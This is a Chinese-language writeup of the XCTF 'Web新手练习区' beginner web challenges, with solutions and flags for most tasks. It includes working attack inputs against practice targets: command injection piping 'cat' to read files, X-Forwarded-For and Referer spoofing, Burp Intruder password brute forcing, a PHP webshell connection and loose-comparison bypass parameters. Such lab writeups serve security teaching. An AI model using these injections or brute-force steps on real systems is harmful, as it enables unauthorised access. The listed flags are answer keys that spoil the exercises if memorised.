xctf攻防世界—Web新手练习区 writeup
view_source
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
进入页面后显示:“FLAG is not here”,鼠标右键菜单栏不能正常触发,通过在题目地址前添加view-source:
访问网页源码,得到flag:
<h1>FLAG is not here</h1>
<!-- cyberpeace{dbc38d67602cd1dfa7f62bdd90824fc7} -->
get_post
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
进入页面后显示:“请用GET方式提交一个名为a,值为1的变量”,在地址栏输入?a=1
通过GET方式传递参数;
得到新的提示:“请再以POST方式随便提交一个名为b,值为2的变量”,通过Google Chrome的插件HackBar通过POST方式传递参数:b=2
得到flag:cyberpeace{0f013ed4965abfc7d2f6100703245650}
robots
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
访问网页显示为空白,尝试查询robots协议即/…题目地址…/robots.txt
:
User-agent: *
Disallow:
Disallow: f1ag_1s_h3re.php
继续访问/…题目地址…/f1ag_1s_h3re.php
,得到flag:cyberpeace{a80e5bcf6423bc3fe5707a10c2676c3b}
。
backup
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
进入页面后显示:“你知道index.php的备份文件名吗?”
根据提示,下载index.php的备份文件,即访问index.php.bak
,下载到备份文件后放入HEX Fiend工具中打开,在结尾得到flag:
cookie
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
进入页面后显示:“你知道什么是cookie吗?”,通过Burp Suite抓取数据包,得到提示:
访问cookie.php
,得到新的提示:“See the http response”,使用Google Chrome插件HTTP Headers查看,得到flag:
disabled_button
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
提示为前端知识,查看网页源码:
<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth" />
将“<input>”标签中的disabled
属性删除掉,得到flag:cyberpeace{3f9351e76f3719a11933dabb19cd8b9c}
simple_js
难度系数: 1.0
题目来源: root-me
题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
进入网页后需要输入密码:
密码输入错误,查看网页源码:
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
将dechiffre
中的十六进制转换为字符串,得到55,56,54,79,115,69,114,116,107,49,50
,对照ASCII码表转换为字符串:786OsErtk12
,添加正确格式即为flag。
xff_referer
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师告诉小宁其实xff和referer是可以伪造的。
进入页面后显示:“ip地址必须为123.123.123.123”,通过Google Chrome插件ModHeader添加请求头信息:X-Forwarded-For: 123.123.123.123
,刷新页面得到新的提示:必须来自https://www.google.com,继续添加请求头信息Referer: https://www.google.com
,刷新页面得到flag:cyberpeace{68d1f3f8fb33701e06ee0c5db9895426}
weak_auth
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。
尝试输入账号密码登陆:
根据提示随手设置的密码,感觉为弱密码爆破,使用Burp Suite抓取登陆时的数据包:
Send to Intruder后,选择攻击模式为Sniper
修改需要暴力破解的变量:
将弱类型密码字典粘贴到Payload Options:
开始暴力破解攻击,通过长度判断是否成功登陆:
得到登陆密码:123456
,登陆后得到flag:cyberpeace{681a629f7ffb7f44b6685750fdeda872}
webshell
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
一句话已经给出,使用中国蚁箭,添加目标信息:
在文件列表中发现flag.txt
,访问该文件得到flag:cyberpeace{94155f1370b8c864793a8a87dd617af4}
command_execution
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
题目名为控制台命令执行先尝试输入本地IP:
ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.088 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.038 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.038/0.059/0.088/0.022 ms
得到了输入的命令:ping -c 3
:对输入的地址检查三次是否连通,尝试是否有访问文件的权限:127.0.0.1 | ls
:
ping -c 3 127.0.0.1 | ls
index.php
有访问目录的权限,继续查询主目录,在home
文件目录下发现:flag.txt
:
ping -c 3 127.0.0.1 | ls ../../../home/
flag.txt
尝试打开flag.txt
,输入控制台命令:127.0.0.1 | cat ../../../home/flag.txt
,得到flag:cyberpeace{9a27a9c1e0ac69bd09ddf1d1557ea2aa}
知识点:命令执行
Windows或Linux下:
command1 && command2
:先执行command1后执行command2;
command1 | command2
:只执行command2;
command1 & command2
:先执行command2后执行command1
simple_php
难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
分析代码:通过GET方式传入变量a
和变量b
的值,其中需要a=0但有又不能为0,b不能为纯数字但药大于1234;
通过“==”比较漏洞我们可以绕过比较,即在比较时,PHP会把变量值先转换为相同类型再进行比较,在地址栏中构造如下传参:?a=0c&b=1235c
,访问便得到flag:Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}